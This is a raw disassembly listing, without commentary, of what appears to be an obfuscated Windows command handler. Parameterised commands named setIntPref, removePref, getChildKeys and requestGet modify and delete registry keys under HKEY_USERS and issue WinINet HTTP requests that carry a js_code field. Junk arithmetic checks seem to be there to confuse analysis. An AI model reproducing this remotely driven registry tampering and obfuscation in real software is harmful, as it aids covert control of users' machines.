mov qword [rsp + 0x8c8], rax
lea rdx, [0x14015a180]
mov rcx, rax
call fcn.14003bd90
mov qword [rsp + 0xab8], rax
cmp byte [rax + 8], 4
jne 0x14006b060
mov byte [rsp + 0x50], 0
mov qword [rsp + 0x260], rdi
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.14003bd90
mov qword [rsp + 0x1080], rax
lea rdx, str.hive
mov rcx, rax
call fcn.14003bf90
mov qword [rsp + 0xac8], rax
cmp rax, rsi
je 0x1400682ec
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.14003bd90
mov qword [rsp + 0xde8], rax
lea rdx, str.hive
mov rcx, rax
call fcn.14003bd90
mov qword [rsp + 0xad8], rax
mov rdx, qword [rax]
mov qword [rsp + 0xfc8], rdx
lea rcx, [rsp + 0x398]
call fcn.140003170
nop
mov rbx, qword [r14 + 0x50]
mov qword [rsp + 0x260], rbx
lea rdx, str.HKEY_USERS
lea rcx, [rsp + 0x398]
call fcn.1400035d0
mov rcx, 0xffffffff80000003
test eax, eax
cmove rbx, rcx
mov qword [rsp + 0x260], rbx
mov ecx, dword [0x1401cbd80]
imul ecx, ecx
mov eax, 0x38e38e39
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*8]
add eax, eax
sub ecx, eax
cmp ecx, 3
jne 0x140068116
mov r13d, 1
mov dword [rsp + 0x26c], r13d
mov ecx, r13d
mov dword [rsp + 0x168], ecx
mov edx, 0x8d
mov dword [rsp + 0x274], edx
mov dword [0x1401cbd80], edi
nop dword [rax]
lea eax, [rdx - 2]
test eax, eax
js 0x140068110
lea eax, [rcx + r13]
mov dword [rsp + 0x4b8], eax
mov r13d, ecx
mov dword [rsp + 0x26c], ecx
mov ecx, eax
mov dword [rsp + 0x168], eax
dec edx
mov dword [rsp + 0x274], edx
jmp 0x1400680e0
mov dword [0x1401cbd80], ecx
mov rcx, qword [rsp + 0x398]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x5d0], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140068147
mov rdx, qword [rsp + 0x5d0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rbx, qword [rsp + 0x260]
test rbx, rbx
je 0x1400682ec
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.14003bd90
mov qword [rsp + 0xae8], rax
lea rdx, str.keyPath
mov rcx, rax
call fcn.14003bd90
mov qword [rsp + 0xdf8], rax
mov rdx, qword [rax]
mov qword [rsp + 0xaf8], rdx
lea rcx, [rsp + 0x318]
call fcn.140003170
nop
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.14003bd90
mov qword [rsp + 0x1090], rax
lea rdx, [0x14015a180]
mov rcx, rax
call fcn.14003bd90
mov qword [rsp + 0xb08], rax
mov rdx, qword [rax]
mov qword [rsp + 0xe08], rdx
lea rcx, [rsp + 0x3e8]
call fcn.140003170
nop
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.14003bd90
mov qword [rsp + 0xb18], rax
lea rdx, str.valueName
mov rcx, rax
call fcn.14003bd90
mov qword [rsp + 0xfe8], rax
mov rdx, qword [rax]
mov qword [rsp + 0xb28], rdx
lea rcx, [rsp + 0x308]
call fcn.140003170
nop
mov r9, rbx
lea r8, [rsp + 0x318]
lea rdx, [rsp + 0x3e8]
lea rcx, [rsp + 0x308]
call fcn.14004c6c0
mov byte [rsp + 0x50], al
mov rcx, qword [rsp + 0x308]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x5e0], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140068289
mov rdx, qword [rsp + 0x5e0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x3e8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x5f0], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x1400682bb
mov rdx, qword [rsp + 0x5f0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x318]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x600], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x1400684ae
mov rdx, qword [rsp + 0x600]
jmp 0x1400684a5
lea rax, [rsp + 0x610]
mov qword [rsp + 0xe18], rax
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.14003bd90
mov qword [rsp + 0xb38], rax
lea rdx, str.keyPath
mov rcx, rax
call fcn.14003bd90
mov qword [rsp + 0x10a0], rax
mov rdx, qword [rax]
mov qword [rsp + 0xb48], rdx
lea rcx, [rsp + 0x3f0]
call fcn.140003170
nop
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.14003bd90
mov qword [rsp + 0xe28], rax
lea rdx, [0x14015a180]
mov rcx, rax
call fcn.14003bd90
mov qword [rsp + 0xb58], rax
mov rdx, qword [rax]
mov qword [rsp + 0x1008], rdx
lea rcx, [rsp + 0x328]
call fcn.140003170
nop
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.14003bd90
mov qword [rsp + 0xb68], rax
lea rdx, str.valueName
mov rcx, rax
call fcn.14003bd90
mov qword [rsp + 0xe38], rax
mov rdx, qword [rax]
mov qword [rsp + 0xb78], rdx
lea rcx, [rsp + 0x3a8]
call fcn.140003170
nop
lea rdx, [0x140154028]
lea rcx, [rsp + 0x610]
call fcn.140002110
nop
mov qword [rsp + 0x20], rax
mov r9, qword [0x1401c6d48]
lea r8, [rsp + 0x3f0]
lea rdx, [rsp + 0x328]
lea rcx, [rsp + 0x3a8]
call fcn.14004c3a0
mov byte [rsp + 0x50], al
mov rcx, qword [rsp + 0x3a8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x620], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006844b
mov rdx, qword [rsp + 0x620]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x328]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x630], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006847d
mov rdx, qword [rsp + 0x630]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x3f0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x640], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x1400684ae
mov rdx, qword [rsp + 0x640]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
test r12, r12
je 0x14006b060
movzx eax, byte [rsp + 0x50]
neg al
sbb cx, cx
mov word [r12 + 8], cx
mov esi, 0xb
mov word [r12], si
jmp 0x14006b060
lea rdx, str.setIntPref
lea rcx, [rsp + 0x48]
call fcn.1400035d0
test eax, eax
jne 0x140068a45
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.14003bd90
mov qword [rsp + 0xff8], rax
lea rdx, str.keyPath
mov rcx, rax
call fcn.14003bd90
mov qword [rsp + 0xb88], rax
cmp byte [rax + 8], 4
jne 0x14006b060
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.14003bd90
mov qword [rsp + 0xe48], rax
lea rdx, str.valueName
mov rcx, rax
call fcn.14003bd90
mov qword [rsp + 0xb98], rax
cmp byte [rax + 8], 4
jne 0x14006b060
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.14003bd90
mov qword [rsp + 0x1000], rax
lea rdx, [0x14015a180]
mov rcx, rax
call fcn.14003bd90
mov qword [rsp + 0xba8], rax
movzx ecx, byte [rax + 8]
lea eax, [rcx - 1]
cmp al, 2
jbe 0x1400685a7
cmp cl, 5
jne 0x14006b060
mov byte [rsp + 0x52], 0
mov qword [rsp + 0x150], rdi
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.14003bd90
mov qword [rsp + 0xe58], rax
lea rdx, str.hive
mov rcx, rax
call fcn.14003bf90
mov qword [rsp + 0xbb8], rax
cmp rax, rsi
je 0x1400688b7
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.14003bd90
mov qword [rsp + 0x1058], rax
lea rdx, str.hive
mov rcx, rax
call fcn.14003bd90
mov qword [rsp + 0xbc8], rax
mov rdx, qword [rax]
mov qword [rsp + 0xe68], rdx
lea rcx, [rsp + 0x338]
call fcn.140003170
nop
mov r11d, dword [0x1401cbd80]
lea ecx, [r11 + 2]
lea eax, [r11 + 1]
imul ecx, eax
imul ecx, r11d
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0xe
sub ecx, edx
cmp ecx, 5
jne 0x1400686e8
mov r8d, 0xfb
mov dword [rsp + 0x178], r8d
mov r10d, edi
mov dword [rsp + 0x284], edi
cmp r10d, r8d
jge 0x1400686e8
mov r9d, edi
mov dword [rsp + 0x188], edi
mov eax, r11d
cdq
sub eax, edx
sar eax, 1
cmp r9d, eax
jge 0x1400686db
mov ecx, edi
mov dword [rsp + 0x27c], ecx
mov eax, r11d
cdq
and edx, 3
add eax, edx
sar eax, 2
cmp ecx, eax
jge 0x1400686ce
mov eax, r9d
imul eax, r10d
sub eax, ecx
add r8d, eax
mov dword [rsp + 0x178], r8d
inc ecx
jmp 0x14006869f
inc r9d
mov dword [rsp + 0x188], r9d
jmp 0x140068690
inc r10d
mov dword [rsp + 0x284], r10d
jmp 0x140068681
mov rbx, qword [r14 + 0x50]
mov qword [rsp + 0x150], rbx
lea rdx, str.HKEY_USERS
lea rcx, [rsp + 0x338]
call fcn.1400035d0
mov rcx, 0xffffffff80000003
test eax, eax
cmove rbx, rcx
mov qword [rsp + 0x150], rbx
mov rcx, qword [rsp + 0x338]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x650], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006874e
mov rdx, qword [rsp + 0x650]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rbx, qword [rsp + 0x150]
test rbx, rbx
je 0x1400688b7
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.14003bd90
mov qword [rsp + 0xbd8], rax
lea rdx, str.keyPath
mov rcx, rax
call fcn.14003bd90
mov qword [rsp + 0x1018], rax
mov rdx, qword [rax]
mov qword [rsp + 0xbe8], rdx
lea rcx, [rsp + 0x348]
call fcn.140003170
nop
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.14003bd90
mov qword [rsp + 0xe78], rax
lea rdx, [0x14015a180]
mov rcx, rax
call fcn.14003bd90
mov qword [rsp + 0xbf8], rax
mov rcx, rax
call fcn.14003b720
mov dword [rsp + 0x198], eax
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.14003bd90
mov qword [rsp + 0x1098], rax
lea rdx, str.valueName
mov rcx, rax
call fcn.14003bd90
mov qword [rsp + 0xc08], rax
mov rdx, qword [rax]
mov qword [rsp + 0xe88], rdx
lea rcx, [rsp + 0x3b8]
call fcn.140003170
nop
mov r9, rbx
lea r8, [rsp + 0x348]
lea rdx, [rsp + 0x198]
lea rcx, [rsp + 0x3b8]
call fcn.14004cad0
mov byte [rsp + 0x52], al
mov rcx, qword [rsp + 0x3b8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x660], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140068886
mov rdx, qword [rsp + 0x660]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x348]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x670], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140068a32
mov rdx, qword [rsp + 0x670]
jmp 0x140068a29
lea rax, [rsp + 0x680]
mov qword [rsp + 0xc18], rax
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.14003bd90
mov qword [rsp + 0x1028], rax
lea rdx, str.keyPath
mov rcx, rax
call fcn.14003bd90
mov qword [rsp + 0xc28], rax
mov rdx, qword [rax]
mov qword [rsp + 0xe98], rdx
lea rcx, [rsp + 0x358]
call fcn.140003170
nop
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.14003bd90
mov qword [rsp + 0xc38], rax
lea rdx, str.valueName
mov rcx, rax
call fcn.14003bd90
mov qword [rsp + 0x1068], rax
mov rdx, qword [rax]
mov qword [rsp + 0xc48], rdx
lea rcx, [rsp + 0x3f8]
call fcn.140003170
nop
lea rdx, [0x140154028]
lea rcx, [rsp + 0x680]
call fcn.140002110
mov rbx, rax
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.14003bd90
mov qword [rsp + 0xea8], rax
lea rdx, [0x14015a180]
mov rcx, rax
call fcn.14003bd90
mov qword [rsp + 0xc58], rax
mov rcx, rax
call fcn.14003b720
mov edx, eax
mov qword [rsp + 0x20], rbx
mov r9, qword [0x1401c6d48]
lea r8, [rsp + 0x358]
lea rcx, [rsp + 0x3f8]
call fcn.14004d850
mov byte [rsp + 0x52], al
mov rcx, qword [rsp + 0x3f8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x690], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140068a01
mov rdx, qword [rsp + 0x690]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x358]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x6a0], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140068a32
mov rdx, qword [rsp + 0x6a0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
test r12, r12
je 0x14006b060
movzx eax, byte [rsp + 0x52]
jmp 0x1400684bc
lea rdx, str.removePref
lea rcx, [rsp + 0x48]
call fcn.1400035d0
test eax, eax
jne 0x140069057
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.14003bd90
mov qword [rsp + 0x1038], rax
lea rdx, str.keyPath
mov rcx, rax
call fcn.14003bd90
mov qword [rsp + 0xc68], rax
cmp byte [rax + 8], 4
jne 0x140069018
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.14003bd90
mov qword [rsp + 0xeb8], rax
lea rdx, str.hive
mov rcx, rax
call fcn.14003bf90
mov qword [rsp + 0xc78], rax
lea rdx, str.param
lea rcx, [rsp + 0x58]
cmp rax, rsi
je 0x140068e1c
call fcn.14003bd90
mov qword [rsp + 0x1088], rax
lea rdx, str.hive
mov rcx, rax
call fcn.14003bd90
mov qword [rsp + 0xc88], rax
mov rdx, qword [rax]
mov qword [rsp + 0xec8], rdx
lea rcx, [rsp + 0x170]
call fcn.140003170
nop
mov rbx, qword [r14 + 0x50]
lea rdx, str.HKEY_USERS
lea rcx, [rsp + 0x170]
call fcn.1400035d0
mov rcx, 0xffffffff80000003
test eax, eax
cmove rbx, rcx
mov qword [rsp + 0xc98], rbx
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.14003bd90
mov qword [rsp + 0x1048], rax
lea rdx, str.keyPath
mov rcx, rax
call fcn.14003bd90
mov qword [rsp + 0xca8], rax
mov rdx, qword [rax]
mov qword [rsp + 0xed8], rdx
lea rax, [rsp + 0x160]
mov qword [rsp + 0x20], rax
mov r9d, 0xf003f
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rsp + 0xe8], eax
test eax, eax
je 0x140068c6b
test r12, r12
je 0x140068bc4
mov dword [r12 + 8], eax
mov eax, 0x16
mov word [r12], ax
mov rcx, qword [rsp + 0x170]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x6b0], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140068bf6
mov rdx, qword [rsp + 0x6b0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x48]
call fcn.1400021b0
nop
cmp qword [rsp + 0x15a8], 0x10
jb 0x140068c19
mov rcx, qword [rsp + 0x1590]
call fcn.1400d1660
mov qword [rsp + 0x15a8], 0xf
mov qword [rsp + 0x15a0], rdi
mov byte [rsp + 0x1590], 0
lea rcx, [rsp + 0x70]
call fcn.1400021b0
nop
lea rcx, [rsp + 0x16c0]
call fcn.140019d40
nop
lea rcx, [rsp + 0x58]
call fcn.14003b350
nop
xor bl, bl
mov r13d, 1
mov rsi, qword [rsp + 0x40]
jmp 0x14006b1ac
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.14003bd90
mov qword [rsp + 0xcb8], rax
lea rdx, str.valueName
mov rcx, rax
call fcn.14003bd90
mov qword [rsp + 0x1078], rax
mov rdx, qword [rax]
mov qword [rsp + 0xcc8], rdx
lea rcx, [rsp + 0x3c8]
call fcn.140003170
nop
mov rdx, qword [rsp + 0x3c8]
mov eax, dword [rdx - 0x10]
mov dword [rsp + 0x6c8], eax
mov rcx, qword [rsp + 0x160]
test eax, eax
jne 0x140068d04
lea rdx, [0x140154028]
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
mov dword [rsp + 0xe8], eax
test eax, eax
je 0x140068d67
test r12, r12
je 0x140068d7c
mov dword [r12 + 8], eax
mov eax, 0x16
mov word [r12], ax
jmp 0x140068d7c
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov ebx, eax
mov dword [rsp + 0xe8], eax
test eax, eax
je 0x140068d67
mov ecx, dword [0x1401cbd80]
lea r8d, [rcx + 1]
imul r8d, ecx
mov eax, 0x30c30c31
imul r8d
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x15
sub r8d, edx
cmp r8d, 0xb
jne 0x140068d51
lea rcx, [rsp + 0x17e0]
call qword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
test r12, r12
je 0x140068d7c
mov dword [r12 + 8], ebx
mov eax, 0x16
mov word [r12], ax
jmp 0x140068d7c
test r12, r12
je 0x140068d7c
mov word [r12 + 8], r15w
mov esi, 0xb
mov word [r12], si
mov rcx, qword [rsp + 0x160]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
lea rcx, [rsp + 0x3c8]
call fcn.1400021b0
nop
lea rcx, [rsp + 0x170]
call fcn.1400021b0
nop
lea rcx, [rsp + 0x48]
call fcn.1400021b0
nop
cmp qword [rsp + 0x15a8], 0x10
jb 0x140068dca
mov rcx, qword [rsp + 0x1590]
call fcn.1400d1660
mov qword [rsp + 0x15a8], 0xf
mov qword [rsp + 0x15a0], rdi
mov byte [rsp + 0x1590], 0
lea rcx, [rsp + 0x70]
call fcn.1400021b0
nop
lea rcx, [rsp + 0x16c0]
call fcn.140019d40
nop
lea rcx, [rsp + 0x58]
call fcn.14003b350
nop
xor bl, bl
mov r13d, 1
mov rsi, qword [rsp + 0x40]
jmp 0x14006b1ac
call fcn.14003bd90
mov qword [rsp + 0xee8], rax
lea rdx, str.valueName
mov rcx, rax
call fcn.14003bd90
mov qword [rsp + 0xcd8], rax
cmp byte [rax + 8], 4
jne 0x140068f3e
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.14003bd90
mov qword [rsp + 0xff0], rax
lea rdx, str.valueName
mov rcx, rax
call fcn.14003bd90
mov qword [rsp + 0xce8], rax
mov rdx, qword [rax]
mov qword [rsp + 0x8d0], rdx
lea rcx, [rsp + 0x378]
call fcn.140003170
nop
lea rdx, [0x140154028]
lea rcx, [rsp + 0x400]
call fcn.140002110
nop
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.14003bd90
mov qword [rsp + 0x8e0], rax
lea rdx, str.keyPath
mov rcx, rax
call fcn.14003bd90
mov qword [rsp + 0x8f0], rax
mov rdx, qword [rax]
mov qword [rsp + 0x900], rdx
lea rcx, [rsp + 0x368]
call fcn.140003170
nop
lea r8, [rsp + 0x378]
lea rdx, [rsp + 0x400]
lea rcx, [rsp + 0x368]
call fcn.14004ba00
movzx ebx, al
mov byte [rsp + 0x7b], al
lea rcx, [rsp + 0x368]
call fcn.1400021b0
nop
lea rcx, [rsp + 0x400]
call fcn.1400021b0
nop
lea rcx, [rsp + 0x378]
jmp 0x140068ff9
lea rdx, [0x140154028]
lea rcx, [rsp + 0x2e0]
call fcn.140002110
nop
lea rdx, [0x140154028]
lea rcx, [rsp + 0x2d8]
call fcn.140002110
nop
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.14003bd90
mov qword [rsp + 0x910], rax
lea rdx, str.keyPath
mov rcx, rax
call fcn.14003bd90
mov qword [rsp + 0x920], rax
mov rdx, qword [rax]
mov qword [rsp + 0x930], rdx
lea rcx, [rsp + 0x3d8]
call fcn.140003170
nop
lea r8, [rsp + 0x2e0]
lea rdx, [rsp + 0x2d8]
lea rcx, [rsp + 0x3d8]
call fcn.14004ba00
movzx ebx, al
mov byte [rsp + 0x7b], al
lea rcx, [rsp + 0x3d8]
call fcn.1400021b0
nop
lea rcx, [rsp + 0x2d8]
call fcn.1400021b0
nop
lea rcx, [rsp + 0x2e0]
call fcn.1400021b0
test r12, r12
je 0x140069018
neg bl
sbb ax, ax
mov word [r12 + 8], ax
mov esi, 0xb
mov word [r12], si
mov r8d, dword [0x1401cbd80]
lea ecx, [r8 + 1]
imul ecx, r8d
mov eax, 0x66666667
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
add eax, eax
sub ecx, eax
cmp ecx, 7
jne 0x14006b060
dec r8d
mov dword [0x1401cbd80], r8d
jmp 0x14006b060
lea rdx, str.getChildValues
lea rcx, [rsp + 0x48]
call fcn.1400035d0
test eax, eax
je 0x14006a231
lea rdx, str.getChildKeys
lea rcx, [rsp + 0x48]
call fcn.1400035d0
test eax, eax
je 0x14006a231
lea rdx, str.requestGet
lea rcx, [rsp + 0x48]
call fcn.1400035d0
test eax, eax
jne 0x1400697ed
mov ecx, dword [0x1401cbd80]
imul ecx, ecx
mov eax, 0x2aaaaaab
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 3
sub ecx, eax
mov eax, dword [rsp + 0x10b0]
cmp ecx, 0x13
cmove eax, edi
mov dword [rsp + 0x10b0], eax
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
mov r13d, 1
mov edx, r13d
lea rcx, [0x140154028]
call qword [sym.imp.WININET.dll_InternetOpenW]
mov rsi, rax
mov qword [rsp + 0x940], rax
call fcn.1400654d0
test al, al
jne 0x1400691b1
mov word [rsp + 0x3260], di
xor edx, edx
mov r8d, 0x707e
lea rcx, [rsp + 0x3262]
call fcn.1400d6ac0
mov dword [0x1401cbd80], edi
mov r9d, edi
mov dword [rsp + 0x1a8], edi
nop dword [rax]
cmp r9d, 0x78
jge 0x1400691a3
mov r8d, edi
mov dword [rsp + 0x28c], edi
cmp r8d, 0x78
jge 0x140069196
test r9d, r9d
je 0x140069189
test r8d, r8d
je 0x140069189
movsxd rdx, r9d
imul rdx, rdx, 0x78
movsxd rax, r8d
add rdx, rax
movsx ecx, word [rsp + rdx*2 + 0x3170]
movsx eax, word [rsp + rdx*2 + 0x325e]
inc ecx
add ecx, eax
mov word [rsp + rdx*2 + 0x3260], cx
inc r8d
mov dword [rsp + 0x28c], r8d
jmp 0x140069150
inc r9d
mov dword [rsp + 0x1a8], r9d
jmp 0x140069140
movsx eax, word [rsp + 0xa2de]
mov dword [0x1401cbd80], eax
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.14003bd90
mov qword [rsp + 0x950], rax
lea rdx, [0x1401579dc]
mov rcx, rax
call fcn.14003bd90
mov qword [rsp + 0x960], rax
cmp byte [rax + 8], 4
jne 0x14006976b
test rsi, rsi
je 0x14006976b
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.14003bd90
mov qword [rsp + 0x970], rax
lea rdx, [0x1401579dc]
mov rcx, rax
call fcn.14003bd90
mov qword [rsp + 0x980], rax
lea rdx, [rsp + 0x1780]
mov rcx, rax
call fcn.14003b490
mov qword [rsp + 0x990], rax
cmp qword [rax + 0x18], 0x10
jb 0x140069246
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rsp + 0x98]
call fcn.140003170
nop
lea rcx, [rsp + 0x1780]
call fcn.1400013b0
mov eax, dword [0x1401cbd80]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, 0x66666667
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
shl eax, 2
sub ecx, eax
cmp ecx, 0xd
jne 0x140069296
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileType]
xor r8d, r8d
lea rdx, str.error
lea rcx, [rsp + 0x98]
call fcn.14001c780
mov ebx, eax
mov dword [rsp + 0x294], eax
test eax, eax
jle 0x140069372
add ebx, 6
mov dword [rsp + 0x294], ebx
mov edx, 0x26
mov rcx, qword [rsp + 0x98]
call fcn.1400d3ff4
mov qword [rsp + 0x9a0], rax
test rax, rax
jne 0x1400692ec
mov eax, r15d
jmp 0x1400692f7
sub rax, qword [rsp + 0x98]
sar rax, 1
sub eax, ebx
mov r9d, eax
mov r8d, ebx
lea rdx, [rsp + 0x6c0]
lea rcx, [rsp + 0x98]
call fcn.140010410
mov qword [rsp + 0x9b0], rax
mov rdx, rax
lea rcx, [rsp + 0x98]
call fcn.140002230
nop
lea rcx, [rsp + 0x6c0]
call fcn.1400021b0
lea rdx, str.js_code
lea rcx, [rsp + 0x2f0]
call fcn.140003170
nop
lea rdx, [rsp + 0x2f0]
lea rcx, [rsp + 0x98]
call fcn.14001fbf0
nop
lea rcx, [rsp + 0x2f0]
call fcn.1400021b0
xor edx, edx
lea rcx, [rsp + 0x448]
call fcn.14003afe0
nop
lea rdx, [0x140157a44]
lea rcx, [rsp + 0xf30]
call fcn.14003b0a0
nop
lea rdx, [0x140157a18]
lea rcx, [rsp + 0x448]
call fcn.14003bd90
mov rcx, rax
lea rdx, [rsp + 0xf30]
call fcn.14003b400
nop
lea rcx, [rsp + 0xf30]
call fcn.14003b350
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.14003bd90
mov qword [rsp + 0x9c0], rax
lea rdx, [0x1401579dc]
mov rcx, rax
call fcn.14003bd90
mov qword [rsp + 0x9d0], rax
lea rdx, [rsp + 0x17a0]
mov rcx, rax
call fcn.14003b490
nop
mov rdx, rax
lea rcx, [rsp + 0xf50]
call fcn.14003b130
nop
lea rdx, [0x1401579dc]
lea rcx, [rsp + 0x448]
call fcn.14003bd90
mov rcx, rax
lea rdx, [rsp + 0xf50]
call fcn.14003b400
nop
lea rcx, [rsp + 0xf50]
call fcn.14003b350
nop
lea rcx, [rsp + 0x17a0]
call fcn.1400013b0
lea rdx, [0x140157a54]
lea rcx, [rsp + 0xf70]
call fcn.14003b0a0
nop
lea rdx, str.acceptedStatusCodes
lea rcx, [rsp + 0x448]
call fcn.14003bd90
mov rcx, rax
lea rdx, [rsp + 0xf70]
call fcn.14003c0b0
nop
lea rcx, [rsp + 0xf70]
call fcn.14003b350
lea rdx, [0x140157a74]
lea rcx, [rsp + 0xf90]
call fcn.14003b0a0
nop
lea rdx, str.acceptTypes
lea rcx, [rsp + 0x448]
call fcn.14003bd90
mov rcx, rax
lea rdx, [rsp + 0xf90]
call fcn.14003b400
nop
lea rcx, [rsp + 0xf90]
call fcn.14003b350
mov ecx, dword [0x1401cbd80]
lea r8d, [rcx + 2]
lea eax, [rcx + 1]
imul r8d, eax
imul r8d, ecx
mov eax, 0x38e38e39
imul r8d
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*8]
add eax, eax
sub r8d, eax
mov eax, dword [rsp + 0x11d0]
cmp r8d, 7
cmove eax, edi
mov dword [rsp + 0x11d0], eax
lea rdx, str.Accept_Encoding:_gzip__deflate_r_n
lea rcx, [rsp + 0xfb0]
call fcn.14003b0a0
nop
lea rdx, str.additionalRequestHeaders
lea rcx, [rsp + 0x448]
call fcn.14003bd90
mov rcx, rax
lea rdx, [rsp + 0xfb0]
call fcn.14003b400
nop
lea rcx, [rsp + 0xfb0]
call fcn.14003b350
mov qword [rsp + 0x6d0], rdi
lea r9, [rsp + 0x448]
lea r8, [rsp + 0x6d0]
mov rdx, rsi
lea rcx, [rsp + 0xfd0]
call fcn.140030b00
nop
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov r8d, dword [0x1401cbd80]
lea ecx, [r8 + 1]
imul ecx, r8d
mov eax, 0x30c30c31
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x15
sub ecx, edx
cmp ecx, 0xb
jne 0x140069610
mov r9d, edi
mov dword [rsp + 0x29c], edi
nop word [rax + rax]
test r8d, r8d
je 0x140069609
mov ecx, r8d
and ecx, 1
add r9d, ecx
mov dword [rsp + 0x29c], r9d
mov eax, r8d
cdq
sub eax, edx
sar eax, 1
